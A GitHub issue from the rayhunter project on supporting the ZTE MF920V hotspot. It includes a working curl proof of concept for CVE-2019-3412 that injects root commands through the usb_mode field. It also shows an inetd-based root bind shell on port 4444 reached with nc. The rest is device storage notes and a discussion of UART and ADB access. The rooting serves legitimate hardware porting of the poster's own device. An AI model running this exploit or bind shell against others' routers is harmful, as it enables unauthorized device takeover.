efforg/rayhunter#846

View on GitHub →
#846 ZTE MF920V
new-hardware

The ZTE MF920V (also sold as Vodafone R218) is viable to install rayhunter on. I obtained a device secondhand with firmware BD_ENATMF920VV1.0.0B04

root can be obtained using CVE-2019-3412. here is a POC:

# Login (save cookies to /tmp/zte-cookies)
curl -s -c /tmp/zte-cookies -H "Referer: http://192.168.0.1/index.html" \
  -X POST http://192.168.0.1/goform/goform_set_cmd_process \
  -d "isTest=false&goformId=LOGIN&password=$(echo -n 'YOURPASSWORD' | base64)"
# Returns: {"result":"0"} on success
# Inject a command (reuse cookies from login)
curl -s -b /tmp/zte-cookies -H "Referer: http://192.168.0.1/index.html" \
  -X POST http://192.168.0.1/goform/goform_set_cmd_process \
  -d 'isTest=false&goformId=USB_MODE_SWITCH&usb_mode=6%3bid%3b'
# The command after the semicolon (here: `id`) runs as root.

limited tools

Getting a proper root shell is hard because busybox has neither nc nor telnetd:

# 1. Write inetd config
curl -s -b /tmp/zte-cookies -H "Referer: http://192.168.0.1/index.html" \
  -X POST http://192.168.0.1/goform/goform_set_cmd_process \
  -d 'isTest=false&goformId=USB_MODE_SWITCH&usb_mode=6%3becho%20%224444%20stream%20tcp%20nowait%20root%20/bin/sh%20sh%20-i%22%20>%20/tmp/inetd.conf%3bbusybox%20inetd%20/tmp/inetd.conf%3b'

# 2. Connect
echo "id" | nc -w 3 192.168.0.1 4444
# uid=0(root) gid=0(root) groups=0(root)

so this would mean we have to write a custom file transfer for this device too.

storage is low and read-only

Mount pointDeviceTypeModeFreeNotes
/ubi0:rootfsubifsro15.3 MBRemountable rw. Contains /data/, /etc/
/cacheubi0:cachefsubifsrw24.3 MBappears to survive a reboot, not sure when this is wiped.
/etc_rwubi0:etcrwfsubifsrw2.5 MB
/logfsubi0:logfsubifsrw6.3 MB
/usr/wlan_backups/dev/ubi2_0ubifsrw6.1 MB
/usr/zte_webubi0:ztedataubifsro10.7 MB
/firmware/dev/ubi1_0ubifsro11.6 MB
/media/card/dev/mmcblk0p1autonoauto-there doesn’t seem to be an actual sdcard slot
/tmp(symlink to /var/tmp)tmpfsrw~25 MB

we can remount it using mount -o remount,rw / though.

misc

  • rc.d appears to be present, so autostart should work fine.
  • /dev/diag exists but didn’t test if it returns useful data.
  • web interface seems to have similarities with Orbic (“goform”) and similar configurability as tplink (port triggers, forwardings)
2
Comments (6)

running the daemon

  • /dev/diag seems to kind of work if one changes the device mode to tplink. with the orbic device mode, the diag ioctl does not work.
  • battery status is broken
  • status indicator/leds need support
1

Hey @untitaker , i’ve read in your pull request #872 that the mf920u doesnt work with it. Few months ago i was able to get uart access on my mf920u and was able to dump the firmware and get a shell running. Maybe this might help you: https://github.com/Wapitiii/zte-mf920u

1

thanks, I have found a way to get ADB access too, I just haven’t found the time to implement it. I’ll add your repo to the docs when the time comes

👍 1

@Wapitiii I updated https://github.com/EFForg/rayhunter/pull/872 to reflect my current approach of getting a shell on MF920V. can you tell me how you got a shell on the MF920U? I am not able to do that without takign the device apart.

@untitaker I only was able to get shell on my MF920U via UART. It might be possible to find a vulnerability, or flash modified firmware (i think the zte loader has some “secure boot” implementation preventing modification of u-boot vars and other things) to enable ADB access or SSH. The ZTE Downloader tool in my repository can successfully dump the whole firmware, even without UART access, which makes analysis easier. Not sure tho if it works with the MF920V might need mtd dump to correctly dump firmware. Maybe when i have the time, i’ll try to see if i can get access without the whole disassembly part.